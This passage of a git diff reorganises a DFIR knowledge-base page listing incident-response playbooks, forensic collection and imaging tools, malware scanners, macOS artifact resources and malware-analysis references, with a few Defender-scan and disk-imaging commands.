Incident Cheat Sheet](https://zeltser.com/ddos-incident-cheat-sheet/) +* [Syntax IR Playbooks](https://gitlab.com/syntax-ir/playbooks#ir-playbooks) +* [Microsoft Incident Response Playbooks](https://learn.microsoft.com/en-us/security/compass/incident-response-playbooks) + * [Azure AD Incident Response PowerShell Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) + * [Incident Response in a Microsoft Cloud Environment](https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/) + +## Report Writing and Documentation + +* [Aurora Incident Response](https://github.com/cyb3rfox/Aurora-Incident-Response) - IR documentation templates. +* [PagerDuty Incident Response Templates](https://response.pagerduty.com/) +* [Zeltser Incident Survey Cheat Sheet](https://zeltser.com/security-incident-survey-cheat-sheet/) +* [Zeltser CTI and IR Report Template](https://zeltser.com/cyber-threat-intel-and-ir-report-template/) + +## Host Collection and IR Frameworks + +* [Kansa](https://github.com/davehull/kansa) - PowerShell-based incident response framework for collecting data across Windows hosts. +* [Windows Forensic Toolchest](https://www.foolmoon.net/security/wft/) - Structured live forensic response and audit collection. +* [Velociraptor](https://github.com/Velocidex/velociraptor) - Endpoint visibility, collection, and response platform. + * [Velociraptor Deep Dive](https://www.youtube.com/watch?app=desktop&v=PiYPLEjYXnw) +* [Meerkat](https://github.com/TonyPhipps/Meerkat) - PowerShell modules for Windows artifact gathering and reconnaissance. +* [Cado Community Edition](https://www.cadosecurity.com/cado-community-edition/) - Cloud-focused investigation and evidence processing. +* [AWS_IR](https://github.com/ThreatResponse/aws_ir) - Command-line utility for AWS incident response. +* [ADTimeline](https://github.com/ANSSI-FR/ADTimeline) - Active Directory replication metadata timeline generator. +* [GRR Rapid Response](https://github.com/google/grr) - Remote live forensics framework. +* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - PowerShell framework for disk forensic analysis. + * [PowerForensics Docs](https://powerforensics.readthedocs.io/en/latest/) + +## Malware and IR Scanners + +* [Malwarebytes Incident Response](https://www.malwarebytes.com/business/incident-response) +* [ClamAV](https://www.clamav.net/downloads) - Open-source antivirus engine. +* [Microsoft Safety Scanner](https://learn.microsoft.com/en-us/defender-endpoint/safety-scanner-download) - On-demand malware removal scanner. +* [hashlookup-forensic-analyser](https://github.com/hashlookup/hashlookup-forensic-analyser) - Analyze files against CIRCL hashlookup. +* [CobaltStrikeScan](https://github.com/Apr4h/CobaltStrikeScan) - Cobalt Strike beacon scanning and config parsing. +* [System Informer](https://systeminformer.sourceforge.io/) - Successor to Process Hacker for process, handle, service, and module investigation. +* [Windows Defender MpCmdRun](https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus) - Defender command-line scanner. + +```cmd +"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 1 +"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 2 +"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File C:\Users\[username]\AppData\Local\Temp ``` -IREC.exe --triage-memory -IREC.exe -ad "\\MACHINE\IREC-DIR" --triage-ruleset MyYaraRules --triage-memory -``` -{% endtab %} -{% tab title="Scanning Utilities" %} -* [Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - The Sysinternals Suite is a collection of utilities for Windows that help you manage, troubleshoot and diagnose your Windows systems and applications. Essential for any Windows DFIR work. -* [AWS_IR](https://github.com/ThreatResponse/aws_ir) - Python installable command line utility for mitigation of instance and key compromises. -* [https://processhacker.sourceforge.io/](https://processhacker.sourceforge.io/) - A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. -* [ADTimeline](https://github.com/ANSSI-FR/ADTimeline) - The ADTimeline script generates a timeline based on Active Directory replication metadata for objects considered of interest. -* [Azure-AD-Incident-Response-PowerShell-Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) - The Azure Active Directory Incident Response PowerShell module provides a number of tools, developed by the Azure Active Directory Product Group in conjunction with the Microsoft Detection and Response Team (DART), to assist in compromise response. - * [https://www.powershellgallery.com/packages/AzureADIncidentResponse/](https://www.powershellgallery.com/packages/AzureADIncidentResponse/) +YARA, Loki, THOR Lite, Fenrir, and Binalyze IREC are maintained on the YARA page. + +{% content-ref url="yara.md" %} +[yara.md](yara.md) +{% endcontent-ref %} +Memory scanners such as `pe-sieve` are maintained with memory forensics. -{% endtab %} -{% endtabs %} +{% content-ref url="memory-forensics/" %} +[memory-forensics](memory-forensics/) +{% endcontent-ref %} ## DFIR Commands @@ -176,14 +124,14 @@ IREC.exe -ad "\\MACHINE\IREC-DIR" --triage-ruleset MyYaraRules --triage-memory [windows-event-logs.md](windows-event-logs.md) {% endcontent-ref %} -{% content-ref url="windows-remediation-commands.md" %} -[windows-remediation-commands.md](windows-remediation-commands.md) -{% endcontent-ref %} - {% content-ref url="ir-event-log-cheatsheet.md" %} [ir-event-log-cheatsheet.md](ir-event-log-cheatsheet.md) {% endcontent-ref %} +{% content-ref url="windows-remediation-commands.md" %} +[windows-remediation-commands.md](windows-remediation-commands.md) +{% endcontent-ref %} + {% content-ref url="linux-dfir-commands.md" %} [linux-dfir-commands.md](linux-dfir-commands.md) {% endcontent-ref %} @@ -192,249 +140,120 @@ IREC.exe -ad "\\MACHINE\IREC-DIR" --triage-ruleset MyYaraRules --triage-memory [macos-dfir-commands.md](macos-dfir-commands.md) {% endcontent-ref %} -## **Forensics** - -{% tabs %} -{% tab title="Guides and Resources" %} -* [Awesome Lists Collection: Forensics](https://github.com/Cugu/awesome-forensics) -* [DFIR artifact repository](https://github.com/ForensicArtifacts/artifacts) -* [https://tryhackme.com/room/windowsforensics1](https://tryhackme.com/room/windowsforensics1) -* Cheatsheets - * [Zeltser Critical Log Cheatsheet](https://zeltser.com/security-incident-log-review-checklist/) - * [SANS Forensics Cheatsheets](https://digital-forensics.sans.org/community/cheat-sheets) -* Triage and Order of Volatility - * [RFC - 3227: Order of Volatility](https://datatracker.ietf.org/doc/html/rfc3227) - * _(BTHb: INRE): Order of Volatility - pg. 29_ - * _BTFM: Live Triage - pg. 60_ -{% endtab %} - -{% tab title="Forensic OS/VM" %} -* [https://www.sans.org/tools/sift-workstation](https://www.sans.org/tools/sift-workstation) - The SIFT Workstation is a collection of free and open-source incident response and forensic tools designed to perform detailed digital forensic examinations in a variety of settings. It can match any current incident response and forensic tool suite. +## Forensic Workstations and Frameworks + +* [SIFT Workstation](https://www.sans.org/tools/sift-workstation) - SANS forensic workstation for detailed digital forensic examinations. * [SANS DFIR Posters and Cheat Sheets](https://www.sans.org/security-resources/posters/dfir/?msc=tool-sift) - * [How To Mount a Disk Image In Read-Only Mode](https://www.sans.org/blog/digital-forensic-sifting-how-to-perform-a-read-only-mount-of-filesystem-evidence/?msc=tool-sift) - * [How To Create a Filesystem and Registry Timeline](https://www.sans.org/blog/digital-forensic-sifting-registry-and-filesystem-timeline-creation/?msc=tool-sift) - * [How To Create a Super Timeline](https://www.sans.org/blog/digital-forensic-sifting-super-timeline-creation-using-log2timeline/?msc=tool-sift) - * [SIFT Workstation YouTube Series](https://www.youtube.com/playlist?list=PL60DFAE759FCDF36A) - * [FOR508 - Advanced Incident Response](https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/?msc=tool-sift) -* [https://tsurugi-linux.org/](https://tsurugi-linux.org/) - 64 bit Linux version to perform digital forensics analysis and OSINT research. - * [tsurugi\_acquire](https://tsurugi-linux.org/tsurugi\_acquire.php) - a lightweight and streamlined version of Tsurugi Linux \[LAB], aimed at providing the basic tools needed to boot a PC and acquire mass storage devices. - * [bento](https://tsurugi-linux.org/bento.php) - a portable toolkit designed for live forensics and incident response activities. - * [https://tsurugi-linux.org/documentation\_tsurugi\_linux\_tools\_listing\_2021.php](https://tsurugi-linux.org/documentation\_tsurugi\_linux\_tools\_listing\_2021.php) - - -{% endtab %} - -{% tab title="Forensic Frameworks" %} -* [Autopsy forensic framework](https://www.autopsy.com/community/) - Autopsy is the premier open source forensics platform which is fast, easy-to-use, and capable of analyzing all types of mobile devices and digital media - * [https://dfir-training.basistech.com/](https://dfir-training.basistech.com/) - * [https://www.aldeid.com/wiki/Autopsy](https://www.aldeid.com/wiki/Autopsy) - * [https://tryhackme.com/room/autopsy2ze0](https://tryhackme.com/room/autopsy2ze0) -* [X-Ways Forensic Toolkit](https://www.x-ways.net/forensics/) - X-Ways Forensics is an advanced work environment for computer forensic examiners - * [https://www.x-ways.net/forensics/x-tensions/](https://www.x-ways.net/forensics/x-tensions/) - X-Ways plugin tools - * [https://github.com/CrowdStrike/xwf-yara-scanner](https://github.com/CrowdStrike/xwf-yara-scanner) - YARA Scanner Plugin - * [X-ways Imager](https://www.x-ways.net/imager/index-m.html) - Forensic disk imaging tool. Stripped down version of the [X-Ways Forensics](https://www.x-ways.net/forensics/index-m.html) computer forensics software with just the disk imaging functionality and little more -* [Forensic Tool Kit (FTK)](https://www.exterro.com/forensic-toolkit) - Premium forensics suite that can perform imaging, file decryption, registry parsing, and much more. - * [FTK Imager by AccessData](https://www.exterro.com/ftk-imager) - Create forensic images of local hard drives, CDs and DVDs, thumb drives or other USB devices, entire folders, or individual files from various places within the media. -* [sleuthkit](https://www.kali.org/tools/sleuthkit/) - The Sleuth Kit, also known as TSK, is a collection of UNIX-based command line file and volume system forensic analysis tools. The filesystem tools allow you to examine filesystems of a suspect computer in a non-intrusive fashion. Because the tools do not rely on the operating system to process the filesystems, deleted and hidden content is shown. - * [http://www.sleuthkit.org/sleuthkit/](http://www.sleuthkit.org/sleuthkit/) -* [NTDSxtract](https://github.com/csababarta/ntdsxtract) - Active Directory forensic framework -* [linux-explorer](https://github.com/intezer/linux-explorer) - Easy-to-use live forensics toolbox for Linux endpoints + * [Read-Only Mounting with SIFT](https://www.sans.org/blog/digital-forensic-sifting-how-to-perform-a-read-only-mount-of-filesystem-evidence/?msc=tool-sift) + * [Filesystem and Registry Timeline Creation](https://www.sans.org/blog/digital-forensic-sifting-registry-and-filesystem-timeline-creation/?msc=tool-sift) + * [Super Timeline Creation](https://www.sans.org/blog/digital-forensic-sifting-super-timeline-creation-using-log2timeline/?msc=tool-sift) +* [Tsurugi Linux](https://tsurugi-linux.org/) - DFIR Linux distribution with OSINT tooling. + * [tsurugi_acquire](https://tsurugi-linux.org/tsurugi_acquire.php) + * [bento](https://tsurugi-linux.org/bento.php) + * [Tsurugi Tools Listing](https://tsurugi-linux.org/documentation_tsurugi_linux_tools_listing_2021.php) +* [Autopsy](https://www.autopsy.com/community/) - Open-source forensic platform. +* [X-Ways Forensics](https://www.x-ways.net/forensics/) - Commercial forensic suite. + * [X-Ways X-Tensions](https://www.x-ways.net/forensics/x-tensions/) + * [CrowdStrike X-Ways YARA Scanner](https://github.com/CrowdStrike/xwf-yara-scanner) + * [X-Ways Imager](https://www.x-ways.net/imager/index-m.html) +* [FTK](https://www.exterro.com/forensic-toolkit) - Commercial forensic suite. + * [FTK Imager](https://www.exterro.com/ftk-imager) +* [The Sleuth Kit](https://www.kali.org/tools/sleuthkit/) + * [sleuthkit.org](http://www.sleuthkit.org/sleuthkit/) +* [NTDSxtract](https://github.com/csababarta/ntdsxtract) - Active Directory forensic framework. +* [linux-explorer](https://github.com/intezer/linux-explorer) - Live forensics toolbox for Linux endpoints. * [Installation and Configuration Video](https://youtu.be/NAOtGYBG-QY) -* [GRR](https://github.com/google/grr) - GRR Rapid Response is an incident response framework focused on remote live forensics. -* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - An all inclusive framework for hard drive forensic analysis. PowerForensics currently supports NTFS and FAT file systems, and work has begun on Extended File System and HFS+ support. - * [https://powerforensics.readthedocs.io/en/latest/](https://powerforensics.readthedocs.io/en/latest/) - * [https://devblogs.microsoft.com/powershell/powershell-the-blue-team/](https://devblogs.microsoft.com/powershell/powershell-the-blue-team/) -* [Eric Zimmerman's toolset](https://ericzimmerman.github.io/#!index.md) - SANS instructor and former FBI Forensics expert Eric Zimmerman has created a list of his favorite tools for public use and reference. - * [https://cyberforensicator.com/2017/04/04/a-guide-to-eric-zimmermans-command-line-tools/](https://cyberforensicator.com/2017/04/04/a-guide-to-eric-zimmermans-command-line-tools/) - * [KAPE](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape) - lets forensic teams collect and process forensically useful artifacts within minutes. - * [https://github.com/AndrewRathbun/Awesome-KAPE](https://github.com/AndrewRathbun/Awesome-KAPE) - * [https://ericzimmerman.github.io/KapeDocs/#!index.md](https://ericzimmerman.github.io/KapeDocs/#!index.md) +* [Eric Zimmerman's Tools](https://ericzimmerman.github.io/#!index.md) - Windows forensic artifact tools. + * [Eric Zimmerman Tool Guide](https://cyberforensicator.com/2017/04/04/a-guide-to-eric-zimmermans-command-line-tools/) + * [KAPE](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape) + * [KAPE Docs](https://ericzimmerman.github.io/KapeDocs/#!index.md) {% file src="../.gitbook/assets/EricZimmermanCommandLineToolsCheatSheet-v1.0 (1) (1).pdf" %} -{% endtab %} -{% endtabs %} - -{% tabs %} -{% tab title="Extraction Tools" %} -* [bulk-extractor](https://www.kali.org/tools/bulk-extractor/) - bulk_extractor is a C++ program that scans a disk image, a file, or a directory of files and extracts useful information without parsing the file system or file system structures. -* [regripper](https://www.kali.org/tools/regripper/) - RegRipper is an open source tool, written in Perl, for extracting/parsing information (keys, values, data) from the Registry and presenting it for analysis. -* [safecopy](https://www.kali.org/tools/safecopy/) - safecopy tries to get as much data from SOURCE as possible, even resorting to device specific low level operations if applicable. - - -{% endtab %} - -{% tab title="Browser Tools" %} -* [dumpzilla](https://www.kali.org/tools/dumpzilla/) - Dumpzilla application is developed in Python 3.x and has as purpose extract all forensic interesting information of Firefox, Iceweasel and Seamonkey browsers to be analyzed. -{% endtab %} - -{% tab title="Misc Utility" %} -* [XOR Tool](https://github.com/hellman/xortool) - A tool to do some xor analysis: Guess the key length (based on count of equal chars) and Guess the key (base on knowledge of most frequent char) -* [forensics-colorize](https://www.kali.org/tools/forensics-colorize/) - forensics-colorize is a set of tools to visually compare large files, as filesystem images, creating graphics of them. It is intuitive because the produced graphics provide a quick and perfect sense about the percentage of changes between two files. -* [dislocker](https://www.kali.org/tools/dislocker/) - Dislocker has been designed to read BitLocker encrypted partitions under a Linux system -* [mac-robber](https://www.kali.org/tools/mac-robber/) - mac-robber is a digital investigation tool (digital forensics) that collects metadata from allocated files in a mounted filesystem. This is useful during incident response when analyzing a live system or when analyzing a dead system in a lab. -* [testdisk](https://www.kali.org/tools/testdisk/) - TestDisk checks the partition and boot sectors of your disks. It is very useful in forensics, recovering lost partitions. -* [unhide](https://www.kali.org/tools/unhide/) - Unhide is a forensic tool to find processes and TCP/UDP ports hidden by rootkits, Linux kernel modules or by other techniques. It includes two utilities: unhide and unhide-tcp. -{% endtab %} -{% endtabs %} - -
- -File Carving/Recovery - -* [Foremost](https://github.com/korczis/foremost): Foremost is a console program to recover files based on their headers, footers, and internal data structures. -* [ext4magic](https://www.kali.org/tools/ext4magic/) - ext4magic can extract the information from the journal and restore files in an entire directory tree, if the information in the journal are sufficient. -* [ext3grep](https://www.kali.org/tools/ext3grep/) - ext3grep is a simple tool intended to aid anyone who accidentally deletes a file on an ext3 filesystem, only to find that they wanted it shortly thereafter. -* [extundelete](https://www.kali.org/tools/extundelete/) - extundelete uses the information stored in the partition’s journal to attempt to recover a file that has been deleted. -* [magicrescue](https://www.kali.org/tools/magicrescue/) - Magic Rescue scans a block device for file types it knows how to recover and calls an external program to extract them. -* [myrescue](https://www.kali.org/tools/myrescue/) - myrescue is a program to rescue the still-readable data from a damaged harddisk, CD-ROM, DVD, flash drives, etc. It is similar in purpose to dd\_rescue (or ddrescue), but it tries to quickly get out of damaged areas to first handle the not yet damaged part of the disk and return later. -* [recoverdm](https://www.kali.org/tools/recoverdm/) - recoverdm recover disks with bad sectors. You can recover files as well complete devices. In case it finds sectors which simply cannot be recovered, it writes an empty sector to the output file and continues. -* [recoverjpeg](https://www.kali.org/tools/recoverjpeg/) - recoverjpeg tries to recover JFIF (JPEG) pictures and MOV movies from a peripheral. This may be useful if you mistakenly overwrite a partition or if a device such as a digital camera memory card is bogus. -* [rifiuti2](https://www.kali.org/tools/rifiuti2/) - Rifiuti2 analyses recycle bin files from Windows. Analysis of Windows recycle bin is usually carried out during Windows computer forensics. -* [scalpel](https://www.kali.org/tools/scalpel/) - scalpel is a fast file carver that reads a database of header and footer definitions and extracts matching files from a set of image files or raw device files. -* [scrounge-ntfs](https://www.kali.org/tools/scrounge-ntfs/) - Scrounge NTFS is a data recovery program for NTFS filesystems. It reads each block of the hard disk and try to rebuild the original filesystem tree into a directory. -* [undbx](https://www.kali.org/tools/undbx/) - UnDBX is a tool to extract, recover and undelete e-mail messages from MS Outlook Express .dbx files -* RDP Cache Recovery - * [https://github.com/BSI-Bund/RdpCacheStitcher/](https://github.com/BSI-Bund/RdpCacheStitcher/) -A tool that supports forensic analysts in reconstructing useful images out of RDP cache bitmaps - * [https://github.com/ANSSI-FR/bmc-tools/](https://github.com/ANSSI-FR/bmc-tools/) - RDP Bitmap Cache parser - -
- -
-Forensic Imaging +## File Systems, Imaging, and Recovery -* [FTK Imager by AccessData](https://www.exterro.com/ftk-imager) - Create forensic images of local hard drives, CDs and DVDs, thumb drives or other USB devices, entire folders, or individual files from various places within the media. +Detailed file analysis and carving guidance lives on File/Binary Analysis. -``` -ftkimager --list-drives -ftkimager \\.\PHYSICALDRIVE0 "[Location]\Case" --e01 -ftkimager [source] [destination] -ftkimager \\.\PHYSICALDRIVE0 "[Location]\Case" --e01 --outpass securepasswordinsertedhere -``` - -* [DD utility](https://man7.org/linux/man-pages/man1/dd.1.html) - Unix disk manipulation tool - * [dc3dd](https://www.kali.org/tools/dc3dd/) - dc3dd is a patched version of GNU dd with added features for computer forensics - * [dcfldd](https://www.kali.org/tools/dcfldd/) - Enhanced version of dd for forensics and security - * [ddrescue](https://www.kali.org/tools/ddrescue/) - Data recovery and protection tool +{% content-ref url="file-analysis.md" %} +[file-analysis.md](file-analysis.md) +{% endcontent-ref %} -``` +Useful extraction and recovery tools: + +* [bulk_extractor](https://www.kali.org/tools/bulk-extractor/) +* [RegRipper](https://www.kali.org/tools/regripper/) +* [safecopy](https://www.kali.org/tools/safecopy/) +* [dumpzilla](https://www.kali.org/tools/dumpzilla/) +* [xortool](https://github.com/hellman/xortool) +* [forensics-colorize](https://www.kali.org/tools/forensics-colorize/) +* [dislocker](https://www.kali.org/tools/dislocker/) +* [mac-robber](https://www.kali.org/tools/mac-robber/) +* [testdisk](https://www.kali.org/tools/testdisk/) +* [unhide](https://www.kali.org/tools/unhide/) +* [Foremost](https://github.com/korczis/foremost) +* [scalpel](https://www.kali.org/tools/scalpel/) +* [RdpCacheStitcher](https://github.com/BSI-Bund/RdpCacheStitcher/) +* [bmc-tools](https://github.com/ANSSI-FR/bmc-tools/) + +Forensic imaging: + +* [FTK Imager](https://www.exterro.com/ftk-imager) +* [dd](https://man7.org/linux/man-pages/man1/dd.1.html) +* [dc3dd](https://www.kali.org/tools/dc3dd/) +* [dcfldd](https://www.kali.org/tools/dcfldd/) +* [ddrescue](https://www.kali.org/tools/ddrescue/) +* [X-Ways Imager](https://www.x-ways.net/imager/index-m.html) +* [guymager](https://www.kali.org/tools/guymager/) + +```bash dd.exe --list dd.exe if=/dev/ of=Image.img bs=1M dd.exe if=\\.\: of=:\.img bs=1M --size --progress -(LINUX) sudo dd if=/dev/ of=/mnt/.ddimg bs=1M conv=noerror,sync +sudo dd if=/dev/ of=/mnt/.ddimg bs=1M conv=noerror,sync ``` -* [X-ways Imager](https://www.x-ways.net/imager/index-m.html) - Forensic disk imaging tool. Stripped down version of the [X-Ways Forensics](https://www.x-ways.net/forensics/index-m.html) computer forensics software with just the disk imaging functionality and little more -* [guymager](https://www.kali.org/tools/guymager/) - The forensic imager contained in this package, guymager, was designed to support different image file formats, to be most user-friendly and to run really fast. - -
- -{% content-ref url="memory-forensics/" %} -[memory-forensics](memory-forensics/) -{% endcontent-ref %} - -
- -USB Analysis - -* [https://gbhackers.com/usb-forensics/](https://gbhackers.com/usb-forensics/) -* [USB Descriptors](https://www.beyondlogic.org/usbnutshell/usb5.shtml) -* [USB Data Transfer Types](https://www.jungo.com/st/support/documentation/windriver/10.2.1/wdusb\_manual.mhtml/USB\_data\_transfer\_types.html) -* [USB WIreshark Filters](https://www.wireshark.org/docs/dfref/u/usb.html) - -
- -
- -MacOS - -* [Mac OS X 10.9 Forensics Wiki](https://forensicswiki.org/wiki/Mac\_OS\_X\_10.9\_-\_Artifacts\_Location) -* [Mac OS X 10.11 Forensics Wiki](https://forensicswiki.org/wiki/Mac\_OS\_X\_10.11\_\(ElCapitan\)\_-\_Artifacts\_Location) -* [Mac OS X Forensics Artifacts Spreadsheet](https://docs.google.com/spreadsheets/d/1X2Hu0NE2ptdRj023OVWIGp5dqZOw-CfxHLOW\_GNGpX8/edit#gid=1317205466) -* [osxcollector](https://github.com/Yelp/osxcollector) - A forensic evidence collection & analysis toolkit for OS X -* [automactc](https://github.com/CrowdStrike/automactc) - This is a modular forensic triage collection framework designed to access various forensic artifacts on macOS, parse them, and present them in formats viable for analysis. The output may provide valuable insights for incident response in a macOS environment. Automactc can be run against a live system or dead disk (as a mounted volume.) -* [Mac4n6](https://www.mac4n6.com/) - Great blog on Mac OS forensics -* [mac\_apt](https://github.com/ydkhatri/mac\_apt) - macOS (& ios) Artifact Parsing Tool -* [https://themittenmac.com/tools/](https://themittenmac.com/tools/) - * [https://themittenmac.com/the-truetree-concept/](https://themittenmac.com/the-truetree-concept/) - * [https://themittenmac.com/monitorui-tool-release/](https://themittenmac.com/monitorui-tool-release/) - * [https://themittenmac.com/the-esf-playground/](https://themittenmac.com/the-esf-playground/) - -
+## Platform-Specific Forensics -* +Windows, Linux, and macOS command references are linked above. macOS artifact resources: -## **Malware Analysis** +* [Mac OS X 10.9 Forensics Wiki](https://forensicswiki.org/wiki/Mac_OS_X_10.9_-_Artifacts_Location) - Legacy macOS artifact reference. +* [Mac OS X 10.11 Forensics Wiki](https://forensicswiki.org/wiki/Mac_OS_X_10.11_\(ElCapitan\)_-_Artifacts_Location) - Legacy macOS artifact reference. +* [macOS Forensics Artifacts Spreadsheet](https://docs.google.com/spreadsheets/d/1X2Hu0NE2ptdRj023OVWIGp5dqZOw-CfxHLOW_GNGpX8/edit#gid=1317205466) +* [osxcollector](https://github.com/Yelp/osxcollector) +* [automactc](https://github.com/CrowdStrike/automactc) +* [Mac4n6](https://www.mac4n6.com/) +* [mac_apt](https://github.com/ydkhatri/mac_apt) +* [The Mitten Mac Tools](https://themittenmac.com/tools/) -In incident response, phishing, or security monitoring scenarios, you will encounter potentially malicious files that will require in depth analysis to certify the nature of the file. These files can be as overt as an executable labeled "virus.exe" or as covert as "resume.doc". There will be instances where even after all of your analysis, you still cannot verify the nature of the document, and therefore should be considered malicious until proven otherwise. +## Malware Analysis and Reverse Engineering -
+Malware analysis resources are split by workflow: -Malware Analysis Toolsets and multi-engine scanners - -* [https://remnux.org/](https://remnux.org/) - REMnux® is a Linux toolkit for reverse-engineering and analyzing malicious software. REMnux provides a curated collection of free tools created by the community. Analysts can use it to investigate malware without having to find, install, and configure the tools. - * [https://zeltser.com/remnux-malware-analysis-tips/](https://zeltser.com/remnux-malware-analysis-tips/) -* [https://github.com/fireeye/flare-vm](https://github.com/fireeye/flare-vm) - A fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing, etc. -* [MalwareUnicorn's tool collection](https://malwareunicorn.org/#/resources) - Tools used by one of the best malware analysts in the field. -* [https://github.com/mindcollapse/MalwareMultiScan](https://github.com/mindcollapse/MalwareMultiScan) - Self-hosted [VirusTotal](https://www.virustotal.com/) / [OPSWAT MetaDefender](https://metadefender.opswat.com/) wannabe API for scanning URLs and files by multiple antivirus solutions. -* [RATDecoders](https://github.com/kevthehermit/RATDecoders) - Python Decoders for Common Remote Access Trojans -* [mal\_unpack](https://github.com/hasherezade/mal\_unpack) - Dynamic unpacker based on PE-sieve - * [https://www.youtube.com/watch?v=8LZ6ksoytpU](https://www.youtube.com/watch?v=8LZ6ksoytpU) -* [CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser) - Python parser for CobaltStrike Beacon's configuration -* [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) - Identifies the bytes that Microsoft Defender / AMSI Consumer flags on. - -
- -
- -Resources - -* [https://nostarch.com/malware](https://nostarch.com/malware) - * [https://www.jaiminton.com/Tutorials/PracticalMalwareAnalysis/](https://www.jaiminton.com/Tutorials/PracticalMalwareAnalysis/) -* [Awesome Lists Collection: Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) -* [https://malwareunicorn.org/#/](https://malwareunicorn.org/#/) - Malware Blog, tools, and training -* [https://www.sans.org/security-resources/posters/dfir/remnux-usage-tips-malware-analysis-linux-400](https://www.sans.org/security-resources/posters/dfir/remnux-usage-tips-malware-analysis-linux-400) -* [https://www.sans.org/security-resources/posters/dfir/malware-analysis-reverse-engineering-cheat-sheet-395](https://www.sans.org/security-resources/posters/dfir/malware-analysis-reverse-engineering-cheat-sheet-395) -* [SANS Malware Analysis Cheatsheet](https://sansorg.egnyte.com/dl/GpsbKAhkQo/?) -* [https://zeltser.com/malware-analysis-cheat-sheet/](https://zeltser.com/malware-analysis-cheat-sheet/) -* [https://www.infosecinstitute.com/skills/learning-paths/malware-analysis-reverse-engineering/](https://www.infosecinstitute.com/skills/learning-paths/malware-analysis-reverse-engineering/) -* [Hackersploit's Malware Analaysis Bootcamp](https://hackersploit.org/malware-analysis-tutorials/) -* [https://tryhackme.com/room/malresearching](https://tryhackme.com/room/malresearching) -* _BTFM: Malware Analysis - pg. 77_ -* _BTFM: Identifying Malware - pg. 80_ -* _PTFM: Malware Analysis - pg. 149_ -* _BTFM: Malware Attributes Checklist - pg.115_ - -
+{% content-ref url="malware.md" %} +[malware.md](malware.md) +{% endcontent-ref %} {% content-ref url="sandboxing.md" %} [sandboxing.md](sandboxing.md) {% endcontent-ref %} -Outside of sandboxing, there are a host of other tools available that can perform different types of analysis on malware. There are even a few virtual machine distributions that are dedicated to malware analysis. The foremost of them are Flare-VM and Remnux. These will usually include sandboxing tools like cuckoo, code analysis tools like Snyk and Ghidra, and a host of other handy options. - -{% hint style="info" %} -Remember: it is always advised to perform your malware analysis on a virtual machine, in order to prevent unwanted accidents. -{% endhint %} - -{% content-ref url="file-analysis.md" %} -[file-analysis.md](file-analysis.md) -{% endcontent-ref %} - -## Reverse Engineering - {% content-ref url="binary-analysis-reverse-engineering.md" %} [binary-analysis-reverse-engineering.md](binary-analysis-reverse-engineering.md) {% endcontent-ref %} +{% hint style="info" %} +Analyze malware in an isolated VM or lab network. Do not detonate samples on production systems. +{% endhint %} + ## Legacy / Deprecated Tools -The following tools are considered legacy or deprecated but are kept for reference or specific edge cases. +These are kept for historical reference or specific legacy cases. -* **Redline by FireEye/Mandiant**: Provides host investigative capabilities. [Redline](https://www.fireeye.com/services/freeware/redline.html) -* **CrowdResponse**: Static Host Data Collection Tool. [CrowdResponse](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) -* **Gmer Rootkit Scanner**: Detects and removes rootkits. [Gmer](https://www.gmer.net/) -* **chkrootkit**: Locally checks for signs of a rootkit. [chkrootkit](http://www.chkrootkit.org/) -* **RKHunter**: Scans systems for known and unknown rootkits. [RKHunter](https://github.com/installation/rkhunter) -* **Galleta**: Examines Internet Explorer cookie files. [Galleta](https://www.kali.org/tools/galleta/) -* **Pasco**: Examines Internet Explorer cache files. [Pasco](https://www.kali.org/tools/pasco/) +* **Redline by FireEye/Mandiant** - Legacy host investigation tool. Original FireEye links may no longer be maintained. +* **CrowdResponse** - Static host data collection tool. +* **Gmer Rootkit Scanner** - Rootkit detection/removal utility. +* **chkrootkit** - Local Unix rootkit checks. +* **RKHunter** - Unix rootkit scanner. +* **Galleta** - Internet Explorer cookie file analysis. +* **Pasco** - Internet Explorer cache file analysis. +* **herdProtect** - Legacy second-opinion cloud malware scanner; verify availability before use. diff --git a/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md b/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md index 1fd82cb..13a3272 100644 --- a/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md +++ b/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md @@ -41,7 +41,6 @@ There are different types of tools that can be used for this. While generalized * [https://r2wiki.readthedocs.io/en/latest/](https://r2wiki.readthedocs.io/en/latest/) * [https://radare.gitbooks.io/radare2book/content/refcard/intro.html](https://radare.gitbooks.io/radare2book/content/refcard/intro.html) * [https://www.megabeets.net/a-journey-into-radare-2-part-1/](https://www.megabeets.net/a-journey-into-radare-2-part-1/) -* [https://tryhackme.com/room/ccradare2](https://tryhackme.com/room/ccradare2) * [https://artik.blue/reversing](https://artik.blue/reversing) - Reverse engineering with radare2 course. {% embed url="https://www.youtube.com/watch?v=8rLhX_v66O4" %} @@ -53,18 +52,24 @@ There are different types of tools that can be used for this. While generalized * [https://ghidra-sre.org/CheatSheet.html](https://ghidra-sre.org/CheatSheet.html) * [https://www.shogunlab.com/blog/2019/12/22/here-be-dragons-ghidra-1.html](https://www.shogunlab.com/blog/2019/12/22/here-be-dragons-ghidra-1.html) * [https://hackaday.io/course/172292-introduction-to-reverse-engineering-with-ghidra](https://hackaday.io/course/172292-introduction-to-reverse-engineering-with-ghidra) - * [https://tryhackme.com/room/ccghidra](https://tryhackme.com/room/ccghidra) - * 